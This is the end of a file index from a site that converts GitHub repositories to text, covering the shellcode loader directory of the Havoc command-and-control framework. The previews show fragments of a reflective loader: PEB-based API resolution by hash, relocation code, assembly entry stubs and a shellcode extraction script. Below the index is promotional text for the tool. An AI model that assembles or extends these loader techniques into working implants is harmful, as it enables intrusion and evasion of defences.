    "chars": 14,
    "preview": "*\n!.gitignore\n"
  },
  {
    "path": "payloads/Shellcode/Include/Core.h",
    "chars": 1761,
    "preview": "\n#include <windows.h>\n#include <Macro.h>\n\nUINT_PTR GetRIP( VOID );\nLPVOID   KaynCaller();\nVOID     KaynLdrReloc( PVOID K"
  },
  {
    "path": "payloads/Shellcode/Include/Macro.h",
    "chars": 466,
    "preview": "\n#include <windows.h>\n\n#ifdef _WIN64\n    #define PPEB_PTR __readgsqword( 0x60 )\n#else\n    #define PPEB_PTR __readfsdword"
  },
  {
    "path": "payloads/Shellcode/Include/Utils.h",
    "chars": 76,
    "preview": "#include <windows.h>\n\nUINT_PTR HashString( LPVOID String, UINT_PTR Length );"
  },
  {
    "path": "payloads/Shellcode/Include/Win32.h",
    "chars": 149,
    "preview": "#include <windows.h>\n#include <Macro.h>\n\nUINT_PTR LdrModulePeb( UINT_PTR hModuleHash );\nPVOID LdrFunctionAddr( UINT_PTR "
  },
  {
    "path": "payloads/Shellcode/Scripts/Hasher.c",
    "chars": 504,
    "preview": "#include <stdio.h>\n#include <ctype.h>\n\nlong Hash( char* String )\n{\n  unsigned long Hash = 5381;\n\tint c;\n\n\twhile (c = *St"
  },
  {
    "path": "payloads/Shellcode/Scripts/Linker.ld",
    "chars": 132,
    "preview": "SECTIONS\n{\n\t.text :\n\t{\n\t\t*( .text$A )\n\t\t*( .text$B )\n\t\t*( .text$C )\n\t\t*( .text$D )\n\t\t*( .text$E )\n\t\t*( .rdata* )\n\t\t*( .t"
  },
  {
    "path": "payloads/Shellcode/Scripts/extract.py",
    "chars": 882,
    "preview": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\nimport pefile\nimport argparse\n\nif __name__ in '__main__':\n    try:\n       "
  },
  {
    "path": "payloads/Shellcode/Source/Asm/x64/Asm.s",
    "chars": 787,
    "preview": "extern Entry\n\nglobal Start\nglobal GetRIP\nglobal KaynCaller\n\nsection .text$A\n\tStart:\n        push    rsi\n        mov\t\trsi"
  },
  {
    "path": "payloads/Shellcode/Source/Asm/x86/Asm.s",
    "chars": 799,
    "preview": "\n[BITS 32]\n\nextern _Entry\n\nglobal _Start\nglobal _GetRIP\nglobal _KaynCaller\n\nsection .text$A\n\t_Start:\n        push    esi"
  },
  {
    "path": "payloads/Shellcode/Source/Entry.c",
    "chars": 5873,
    "preview": "#include <Core.h>\n#include <Win32.h>\n#include <ntdef.h>\n\n#ifdef _WIN64\n#define IMAGE_REL_TYPE IMAGE_REL_BASED_DIR64\n#els"
  },
  {
    "path": "payloads/Shellcode/Source/Utils.c",
    "chars": 590,
    "preview": "#include <Utils.h>\n#include <Macro.h>\n\nSEC( text, B ) UINT_PTR HashString( LPVOID String, UINT_PTR Length )\n{\n    ULONG\t"
  }
]

// ... and 364 more files (download for full content)

About this extraction

This page contains the full source code of the HavocFramework/Havoc GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 564 files (4.1 MB), approximately 1.1M tokens, and a symbol index with 3303 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!